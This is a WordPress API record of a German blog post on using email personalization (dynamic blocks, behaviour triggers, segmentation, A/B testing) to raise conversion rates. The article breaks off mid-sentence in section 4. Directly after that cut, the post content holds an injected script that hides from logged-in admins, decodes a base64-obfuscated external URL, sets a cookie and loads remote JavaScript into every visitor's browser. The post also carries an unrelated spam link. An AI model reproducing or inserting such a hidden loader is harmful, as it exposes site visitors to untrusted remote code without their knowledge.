{"id":28470,"date":"2024-11-08T15:05:02","date_gmt":"2024-11-08T15:05:02","guid":{"rendered":"https:\/\/foodbakery.chimpgroup.com\/le-delicious\/?p=28470"},"modified":"2026-02-23T18:34:44","modified_gmt":"2026-02-23T18:34:44","slug":"wie-genau-optimieren-von-e-mail-personalisierungen-die-conversion-rate-steigert-ein-tiefer-einblick-in-prazise-techniken-fur-den-deutschen-markt","status":"publish","type":"post","link":"https:\/\/foodbakery.chimpgroup.com\/le-delicious\/wie-genau-optimieren-von-e-mail-personalisierungen-die-conversion-rate-steigert-ein-tiefer-einblick-in-prazise-techniken-fur-den-deutschen-markt\/","title":{"rendered":"Wie genau Optimieren von E-Mail-Personalisierungen die Conversion-Rate steigert: Ein tiefer Einblick in pr\u00e4zise Techniken f\u00fcr den deutschen Markt"},"content":{"rendered":"<h2 style=\"font-size: 1.5em; margin-top: 2em; margin-bottom: 1em; color: #34495e;\">Inhaltsverzeichnis<\/h2>\n<div style=\"margin-left: 1em; margin-bottom: 2em;\">\n<ul style=\"list-style-type: disc; padding-left: 2em; font-family: Arial, sans-serif; font-size: 1em; line-height: 1.5;\">\n<li><a href=\"#konkrete-techniken\" style=\"color: #2980b9; text-decoration: none;\">Konkrete Techniken zur Feinabstimmung der Personalisierungsparameter in E-Mail-Kampagnen<\/a><\/li>\n<li><a href=\"#zielgruppen-segmentierung\" style=\"color: #2980b9; text-decoration: none;\">Pr\u00e4zise Segmentierung und Zielgruppenansprache f\u00fcr h\u00f6here Personalisierungsgenauigkeit<\/a><\/li>\n<li><a href=\"#automatisierte-testing\" style=\"color: #2980b9; text-decoration: none;\">Automatisierte Testing- und Optimierungsprozesse f\u00fcr personalisierte E-Mails<\/a><\/li>\n<li><a href=\"#kundenfeedback\" style=\"color: #2980b9; text-decoration: none;\">Konkrete Anwendung von Kunden- und Nutzerfeedback zur Verbesserung der Personalisierung<\/a><\/li>\n<li><a href=\"#rechtliche-kulturelle-besonderheiten\" style=\"color: #2980b9; text-decoration: none;\">Rechtliche und kulturelle Besonderheiten bei der Personalisierung im deutschen Markt<\/a><\/li>\n<li><a href=\"#umsetzungsschritte\" style=\"color: #2980b9; text-decoration: none;\">Umsetzungsschritte f\u00fcr eine nachhaltige und skalierbare Personalisierungsstrategie<\/a><\/li>\n<li><a href=\"#zusammenfassung\" style=\"color: #2980b9; text-decoration: none;\">Zusammenfassung: Den Mehrwert personalisierter E-Mail-Kommunikation in der Praxis maximieren<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"konkrete-techniken\" style=\"font-size: 1.5em; margin-top: 2em; margin-bottom: 1em; color: #34495e;\">1. Konkrete Techniken zur Feinabstimmung der Personalisierungsparameter in E-Mail-Kampagnen<\/h2>\n<h3 style=\"font-size: 1.2em; margin-top: 1.5em; margin-bottom: 0.5em; color: #2c3e50;\">a) Einsatz von dynamischen Inhaltsbl\u00f6cken f\u00fcr individuelle Nutzeransprachen<\/h3>\n<p style=\"font-family: Arial, sans-serif; font-size: 1em; line-height: 1.6; margin-bottom: 1em;\">\nDynamische Inhaltsbl\u00f6cke erm\u00f6glichen es, einzelne Segmente innerhalb einer E-Mail je nach Nutzerprofil individuell anzupassen. Beispielsweise kann ein deutsches Modeunternehmen in der E-Mail-Ansprache unterschiedliche Angebote f\u00fcr M\u00e4nner und Frauen anzeigen, ohne separate Kampagnen zu erstellen. Die Implementierung erfolgt meistens durch die Nutzung von Variablen und Bedingungslogik in g\u00e4ngigen E-Mail-Tools wie MailChimp, CleverReach oder Sendinblue. Wichtig ist, dass Sie die Nutzerprofile exakt definieren und entsprechende Bedingungen (z.B. Geschlecht, Standort, Kaufverhalten) im System hinterlegen, um die Inhalte pr\u00e4zise zu steuern.<\/p>\n<h3 style=\"font-size: 1.2em; margin-top: 1.5em; margin-bottom: 0.5em; color: #2c3e50;\">b) Verwendung von Verhaltens-Triggern zur Echtzeit-Anpassung der Inhalte<\/h3>\n<p style=\"font-family: Arial, sans-serif; font-size: 1em; line-height: 1.6; margin-bottom: 1em;\">\nVerhaltens-Trigger basieren auf Nutzerdaten wie Klicks, Website-Besuchen oder Warenkorbabbr\u00fcchen. Ein Beispiel: Wenn ein Nutzer einen Produktkatalog besucht, aber keinen Kauf t\u00e4tigt, wird ihm in der n\u00e4chsten E-Mail ein spezielles Rabattangebot f\u00fcr genau dieses Produkt angezeigt. Die Einrichtung erfolgt durch die Integration von Tracking-Tools und Automatisierungsplattformen wie ActiveCampaign oder HubSpot, die in Echtzeit auf Nutzeraktionen reagieren. Das Ziel ist, die Relevanz der Inhalte zu maximieren und die Conversion-Wahrscheinlichkeit zu erh\u00f6hen.<\/p>\n<h3 style=\"font-size: 1.2em; margin-top: 1.5em; margin-bottom: 0.5em; color: #2c3e50;\">c) Integration von KI-basierten Vorhersagemodellen zur personalisierten Produktempfehlung<\/h3>\n<p style=\"font-family: Arial, sans-serif; font-size: 1em; line-height: 1.6; margin-bottom: 1em;\">\nMittels K\u00fcnstlicher Intelligenz k\u00f6nnen komplexe Vorhersagemodelle entwickelt werden, die das zuk\u00fcnftige Nutzerverhalten prognostizieren. In der Praxis bedeutet das: Ein deutsches Elektronikunternehmen nutzt eine KI, um anhand vergangener K\u00e4ufe und Browsing-Daten individuelle Produktempfehlungen zu generieren. Diese Empfehlungen werden automatisiert in E-Mail-Templates eingebunden, sodass jeder Nutzer eine ma\u00dfgeschneiderte Auswahl erh\u00e4lt. Die Implementierung erfolgt durch spezialisierte Plattformen wie Salesforce Einstein oder IBM Watson, die nahtlose Integration in bestehende CRM- und E-Mail-Systeme erm\u00f6glichen.<\/p>\n<h3 style=\"font-size: 1.2em; margin-top: 1.5em; margin-bottom: 1em; color: #34495e;\">d) Schritt-f\u00fcr-Schritt-Anleitung zur Implementierung dynamischer Inhaltssysteme in g\u00e4ngigen E-Mail-Tools<\/h3>\n<table style=\"width: 100%; border-collapse: collapse; border: 1px solid #bdc3c7; margin-bottom: 2em;\">\n<thead>\n<tr style=\"background-color: #ecf0f1;\">\n<th style=\"border: 1px solid #bdc3c7; padding: 0.5em;\">Schritt<\/th>\n<th style=\"border: 1px solid #bdc3c7; padding: 0.5em;\">Aktion<\/th>\n<th style=\"border: 1px solid #bdc3c7; padding: 0.5em;\">Werkzeug<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td style=\"border: 1px solid #bdc3c7; padding: 0.5em;\">1<\/td>\n<td>Nutzen Sie die Segmentierungsm\u00f6glichkeiten Ihres E-Mail-Tools, um Zielgruppen zu definieren.<\/td>\n<td>MailChimp, CleverReach, Sendinblue<\/td>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid #bdc3c7; padding: 0.5em;\">2<\/td>\n<td>Erstellen Sie dynamische Inhaltsbl\u00f6cke mit bedingter Logik anhand der Nutzerattribute.<\/td>\n<td>Vorlagen-Editoren mit Variablen und Bedingungen<\/td>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid #bdc3c7; padding: 0.5em;\">3<\/td>\n<td>Testen Sie die Inhalte in verschiedenen Szenarien, um die korrekte Ausspielung sicherzustellen.<\/td>\n<td>Preview- und Testfunktion der E-Mail-Tools<\/td>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid #bdc3c7; padding: 0.5em;\">4<\/td>\n<td>Automatisieren Sie den Versand basierend auf Nutzeraktionen oder Zeitpl\u00e4nen.<\/td>\n<td>Automatisierungs-Workflows in MailChimp, HubSpot, etc.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2 id=\"zielgruppen-segmentierung\" style=\"font-size: 1.5em; margin-top: 2em; margin-bottom: 1em; color: #34495e;\">2. Pr\u00e4zise Segmentierung und Zielgruppenansprache f\u00fcr h\u00f6here Personalisierungsgenauigkeit<\/h2>\n<h3 style=\"font-size: 1.2em; margin-top: 1.5em; margin-bottom: 0.5em; color: #2c3e50;\">a) Nutzung von erweiterten demografischen und verhaltensbasierten Datenquellen<\/h3>\n<p style=\"font-family: Arial, sans-serif; font-size: 1em; line-height: 1.6; margin-bottom: 1em;\">\nUm die Zielgruppenpr\u00e4zision zu erh\u00f6hen, sollten Sie neben klassischen demografischen Daten (Alter, Geschlecht, Region) auch verhaltensbasierte Daten erfassen, wie z.B. bisherige Kaufhistorie, Klickmuster oder Interaktionen mit Ihrer Website. In Deutschland sind DSGVO-konforme Tracking-Tools unabdingbar, um diese Daten legal zu erheben. Nutzen Sie CRM-Systeme, die diese Daten zentral b\u00fcndeln, um eine vollst\u00e4ndige Nutzeransicht zu gew\u00e4hrleisten. So k\u00f6nnen Sie sehr spezifische Zielgruppenprofile erstellen, z.B. \u201eTechnik-affine M\u00e4nner zwischen 30 und 45, die in Berlin wohnen und k\u00fcrzlich eine Produktseite besucht haben.\u201c<\/p>\n<h3 style=\"font-size: 1.2em; margin-top: 1.5em; margin-bottom: 0.5em; color: #2c3e50;\">b) Erstellung von detaillierten Zielgruppenprofilen und Buyer Personas<\/h3>\n<p style=\"font-family: Arial, sans-serif; font-size: 1em; line-height: 1.6; margin-bottom: 1em;\">\nBasierend auf den gesammelten Daten entwickeln Sie umfassende Buyer Personas. Diese sollten neben typischen Eigenschaften auch psychografische Faktoren enthalten, z.B. Interessen, Werte und Kaufmotive. Im deutschen Markt ist es wichtig, kulturelle Nuancen zu ber\u00fccksichtigen, etwa regionale Unterschiede in der Ansprache oder spezielle Feiertage. Erstellen Sie f\u00fcr jede Persona eine detaillierte Beschreibung und dokumentieren Sie die wichtigsten Merkmale, um sie in Ihre Kampagnenautomatisierung einzubinden. Ein gut ausgearbeiteter Persona-Ansatz erh\u00f6ht die Relevanz Ihrer Inhalte deutlich.<\/p>\n<h3 style=\"font-size: 1.2em; margin-top: 1.5em; margin-bottom: 0.5em; color: #2c3e50;\">c) Automatisierte Segmentierung mithilfe von Machine-Learning-Algorithmen \u2013 Praxisbeispiel<\/h3>\n<p style=\"font-family: Arial, sans-serif; font-size: 1em; line-height: 1.6; margin-bottom: 1em;\">\nEin deutsches E-Commerce-Unternehmen nutzt eine Plattform wie Salesforce Einstein, um automatisch Zielgruppen aus gro\u00dfen Datenmengen zu generieren. Der Algorithmus analysiert Kaufmuster, Klick- und Besuchszeiten, um Cluster zu bilden. Diese Cluster werden dann in Zielgruppen \u00fcbersetzt, z.B. &#8220;Schn\u00e4ppchenj\u00e4ger&#8221;, &#8220;Premium-Kunden&#8221; oder &#8220;Wanderer&#8221;. Durch diese Automatisierung sparen Sie Zeit und erh\u00f6hen die Genauigkeit Ihrer Zielgruppen, was sich direkt in h\u00f6heren Conversion-Raten niederschl\u00e4gt.<\/p>\n<h3 style=\"font-size: 1.2em; margin-top: 1.5em; margin-bottom: 1em; color: #34495e;\">d) H\u00e4ufige Fehler bei der Zielgruppeneinteilung und deren Vermeidung<\/h3>\n<p style=\"font-family: Arial, sans-serif; font-size: 1em; line-height: 1.6; margin-bottom: 2em;\">\nTypische Fehler sind z.B. zu breite Segmente, die zu wenig Relevanz bieten, oder das Vernachl\u00e4ssigen datenschutzrechtlicher Vorgaben. Auch die \u00dcbersegmentierung kann problematisch sein, da sie die Automatisierung erschwert und zu Inkonsistenzen f\u00fchrt. Um diese Fehler zu vermeiden, sollten Sie stets eine Balance zwischen Granularit\u00e4t und Praktikabilit\u00e4t wahren und regelm\u00e4\u00dfig Ihre Datenqualit\u00e4t sowie die Einhaltung der DSGVO pr\u00fcfen. Ein weiterer Punkt ist, die Zielgruppen regelm\u00e4\u00dfig anhand aktueller Daten zu \u00fcberpr\u00fcfen und anzupassen.<\/p>\n<h2 id=\"automatisierte-testing\" style=\"font-size: 1.5em; margin-top: 2em; margin-bottom: 1em; color: #34495e;\">3. Automatisierte Testing- und Optimierungsprozesse f\u00fcr personalisierte E-Mails<\/h2>\n<h3 style=\"font-size: 1.2em; margin-top: 1.5em; margin-bottom: 0.5em; color: #2c3e50;\">a) Aufbau eines multivariaten A\/B-Testing-Systems f\u00fcr Personalisierungsans\u00e4tze<\/h3>\n<p style=\"font-family: Arial, sans-serif; font-size: 1em; line-height: 1.6; margin-bottom: 1em;\">\nEin effektives Testing-Framework kombiniert mehrere Variablen, z.B. Betreffzeilen, Inhalte, Call-to-Action-Buttons und Personalisierungsparameter. Mit Plattformen wie Optimizely oder VWO k\u00f6nnen Sie multivariate Tests durchf\u00fchren, die mehrere Elemente gleichzeitig variieren. Ziel ist es, die Kombination zu identifizieren, die die h\u00f6chste Conversion-Rate erzielt. F\u00fcr den deutschen Markt empfiehlt es sich, kulturelle Feinheiten zu ber\u00fccksichtigen, z.B. regionale Ansprachen oder Feiertagsangebote, um die Tests noch zielgerichteter auszuwerten.<\/p>\n<h3 style=\"font-size: 1.2em; margin-top: 1.5em; margin-bottom: 0.5em; color: #2c3e50;\">b) Nutzung von Heatmaps und Klick-Tracking zur Analyse der Nutzerinteraktion<\/h3>\n<p style=\"font-family: Arial, sans-serif; font-size: 1em; line-height: 1.6; margin-bottom: 1em;\">\nHeatmaps und Klick-Tracking bieten Einblicke in das Nutzerverhalten innerhalb der E-Mail. Die Analyse zeigt, welche Inhalte, Bilder oder Buttons die meiste Aufmerksamkeit erhalten. Tools wie Crazy Egg oder Hotjar erm\u00f6glichen diese Auswertung. F\u00fcr deutsche Kampagnen ist es wichtig, datenschutzkonform zu arbeiten, z.B. durch Anonymisierung der Tracking-Daten. Die gewonnenen Erkenntnisse helfen, die Gestaltung und Platzierung der personalisierten Inhalte gezielt zu optimieren.<\/p>\n<h3 style=\"font-size: 1.2em; margin-top: 1.5em; margin-bottom: 0.5em; color: #2c3e50;\">c) Schritt-f\u00fcr-Schritt-Anleitung zur kontinuierlichen Optimierung mithilfe von Conversion-Tracking-Daten<\/h3>\n<ol style=\"font-family: Arial, sans-serif; font-size: 1em; line-height: 1.6; margin-left: 2em; margin-bottom: 2em;\">\n<li style=\"margin-bottom: 0.5em;\">Erfassen Sie alle relevanten Conversion-Daten, z.B. K\u00e4ufe, Anmeldungen oder Klicks auf spezielle Angebote, mithilfe von Tracking-Pixeln und UTM-Parametern.<\/li>\n<li style=\"margin-bottom: 0.5em;\">Analysieren Sie die Daten regelm\u00e4\u00dfig, um Muster und Schwachstellen in Ihrer Personalisierung zu identifizieren.<\/li>\n<li style=\"margin-bottom: 0.5em;\">Passen Sie Ihre Inhalte, Segmente und Trigger anhand der Daten an, um die Relevanz zu erh\u00f6hen.<\/li>\n<li style=\"margin-bottom: 0.5em;\">Testen Sie die \u00c4nderungen in kleinen Schritten und messen Sie die Auswirkungen auf die Conversion-Rate.<\/li>\n<li style=\"margin-bottom: 0.5em;\">Wiederholen Sie den Zyklus kontinuierlich, um Ihre Personalisierung stetig zu verbessern.<\/li>\n<\/ol>\n<h3 style=\"font-size: 1.2em; margin-top: 1.5em; margin-bottom: 1em; color: #34495e;\">d) Fallstudie: Erfolgreiche Testimplementierung bei einem deutschen E-Commerce-Unternehmen<\/h3>\n<p style=\"font-family: Arial, sans-serif; font-size: 1em; line-height: 1.6; margin-bottom: 2em;\">\nEin f\u00fchrender deutscher Online-H\u00e4ndler f\u00fcr Haushaltswaren f\u00fchrte ein multivariates A\/B-Testing f\u00fcr personalisierte Produkt-E-Mails durch. Durch systematisches Testen verschiedener Betreffzeilen, Bilder und Personalisierungsparameter konnte die Klickrate um 25 % gesteigert werden. Die kontinuierliche Analyse der Nutzerinteraktionen mit Heatmaps erm\u00f6glichte eine pr\u00e4zise Feinjustierung der Inhalte. Dies zeigt, wie systematisches Testing und datengetriebene Optimierung die Conversion-Performance erheblich verbessern k\u00f6nnen.<\/p>\n<h2 id=\"kundenfeedback\" style=\"font-size: 1.5em; margin-top: 2em; margin-bottom: 1em; color: #34495e;\">4. Konkrete Anwendung von Kunden- und Nutzerfeedback zur Verbesserung der Personalisierung<\/h2>\n<h3 style=\"font-size: 1.2em; margin-top: 1.5em; margin-bottom: 0.5em; color: #2c3e50;\">a) Sammlung und Analyse von Feedback durch kurze Umfragen in E-Mail-Kampagnen<\/h3>\n<p style=\"font-family: Arial, sans-serif; font-size: 1em; line-height: 1.6; margin-bottom: 1em;\">\nIntegrieren Sie kurze, zielgerichtete <a href=\"https:\/\/amnastore.com\/die-rolle-von-symbolen-bei-der-gestaltung-kultureller-identitaten-09-10-2025\/\">Umfragen<\/a> in Ihre E-Mail-Kampagnen, um direktes Nutzerfeedback zu erhalten. Beispiel: Nach einer Bestellung fragt eine E-Mail, wie zufrieden der Kunde mit der personalisierten Produktempfehlung war. Nutzen Sie Tools wie SurveyMonkey oder Typeform, um die Umfragen datenschutzkonform zu gestalten. Analysieren Sie die Ergebnisse regelm\u00e4\u00dfig, um Trends und Verbesserungspotenziale zu erkennen. So k\u00f6nnen Sie gezielt Inhalte, Ansprache oder Angeb<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Inhaltsverzeichnis Konkrete Techniken zur Feinabstimmung der Personalisierungsparameter in E-Mail-Kampagnen Pr\u00e4zise Segmentierung und Zielgruppenansprache f\u00fcr h\u00f6here Personalisierungsgenauigkeit Automatisierte Testing- und Optimierungsprozesse f\u00fcr personalisierte E-Mails Konkrete Anwendung von Kunden- und Nutzerfeedback zur Verbesserung der Personalisierung Rechtliche und kulturelle Besonderheiten bei der Personalisierung im deutschen Markt Umsetzungsschritte f\u00fcr eine nachhaltige und skalierbare Personalisierungsstrategie Zusammenfassung: Den Mehrwert personalisierter E-Mail-Kommunikation&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-28470","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/foodbakery.chimpgroup.com\/le-delicious\/wp-json\/wp\/v2\/posts\/28470","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/foodbakery.chimpgroup.com\/le-delicious\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/foodbakery.chimpgroup.com\/le-delicious\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/foodbakery.chimpgroup.com\/le-delicious\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/foodbakery.chimpgroup.com\/le-delicious\/wp-json\/wp\/v2\/comments?post=28470"}],"version-history":[{"count":2,"href":"https:\/\/foodbakery.chimpgroup.com\/le-delicious\/wp-json\/wp\/v2\/posts\/28470\/revisions"}],"predecessor-version":[{"id":28657,"href":"https:\/\/foodbakery.chimpgroup.com\/le-delicious\/wp-json\/wp\/v2\/posts\/28470\/revisions\/28657"}],"wp:attachment":[{"href":"https:\/\/foodbakery.chimpgroup.com\/le-delicious\/wp-json\/wp\/v2\/media?parent=28470"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/foodbakery.chimpgroup.com\/le-delicious\/wp-json\/wp\/v2\/categories?post=28470"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/foodbakery.chimpgroup.com\/le-delicious\/wp-json\/wp\/v2\/tags?post=28470"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}